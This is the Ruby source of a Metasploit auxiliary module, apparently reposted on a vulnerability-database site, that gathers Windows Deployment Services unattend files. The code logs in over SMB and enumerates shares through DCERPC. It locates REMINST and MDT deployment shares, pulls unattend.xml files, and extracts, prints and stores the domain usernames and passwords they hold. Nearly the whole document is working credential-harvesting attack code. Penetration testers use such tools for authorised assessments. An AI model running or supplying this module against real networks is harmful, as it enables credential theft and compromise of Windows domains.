`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
'Description' => %q{
This module will search remote file shares for unattended installation files that may contain
domain credentials. This is often used after discovering domain credentials with the
auxiliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
have domain credentials. This module will connect to the RemInst share and any Microsoft
Deployment Toolkit shares indicated by the share name comments.
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
[ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html'],
],
))
register_options(
[
Opt::RPORT(445),
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
])
end
# Determine the type of share based on an ID type value
def share_type(val)
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
stypes[val] || 'UNKNOWN'
end
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
def srvsvc_netshareenum
shares = []
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error(e.message)
return
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << [0xffffffff].pack("V")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
# Additional error handling and validation needs to occur before
# this code can be moved into a mixin
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
end
# Level, CTR header, Reference ID of CTR
res.slice!(0,12)
share_count = res.slice!(0, 4).unpack("V")[0]
# Reference ID of CTR1
res.slice!(0,4)
share_max_count = res.slice!(0, 4).unpack("V")[0]
if share_max_count != share_count
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
end
# ReferenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
if offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
end
if length != max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
end
name = res.slice!(0, 2 * length)
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
if comment_offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
end
if comment_length != comment_max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
end
comment = res.slice!(0, 2 * comment_length)
res.slice!(0,2) if comment_length % 2 == 1 # pad
shares << [ name, share_type(types[t]), comment]
end
shares
end
def run_host(ip)
deploy_shares = []
begin
connect(versions: [1])
smb_login
srvsvc_netshareenum.each do |share|
# Ghetto unicode to ascii conversation
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
share_type = share[1]
if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
vprint_good("Identified deployment share #{share_name} #{share_comm}")
deploy_shares << share_name
end
end
deploy_shares.each do |deploy_share|
query_share(deploy_share)
end
rescue ::Interrupt
raise $!
end
end
def query_share(share)
share_path = "\\\\#{rhost}\\#{share}"
vprint_status("Enumerating #{share}...")
begin
simple.connect(share_path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Could not access share: #{share} - #{e}")
return
end
results = simple.client.file_search("\\", /unattend.xml$/i, 10)
results.each do |file_path|
file = simple.open(file_path, 'o').read()
next unless file
loot_unattend(file)
creds = parse_client_unattend(file)
creds.each do |cred|
next unless (cred && cred['username'] && cred['password'])
next unless cred['username'].to_s.length > 0
next unless cred['password'].to_s.length > 0
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
print_good("Credentials: " +
"Path=#{share_path}#{file_path} " +
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
"Password=#{cred['password'].to_s}"
)
end
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end
Rex::Parser::Unattend.parse(xml).flatten
end
def loot_unattend(data)
return if data.empty?
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
print_good("Stored unattend.xml in #{path}")
end
def report_creds(domain, user, pass)
report_cred(
ip: rhost,
port: 445,
service_name: 'smb',
user: "#{domain}\\#{user}",
password: pass,
proof: domain
)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation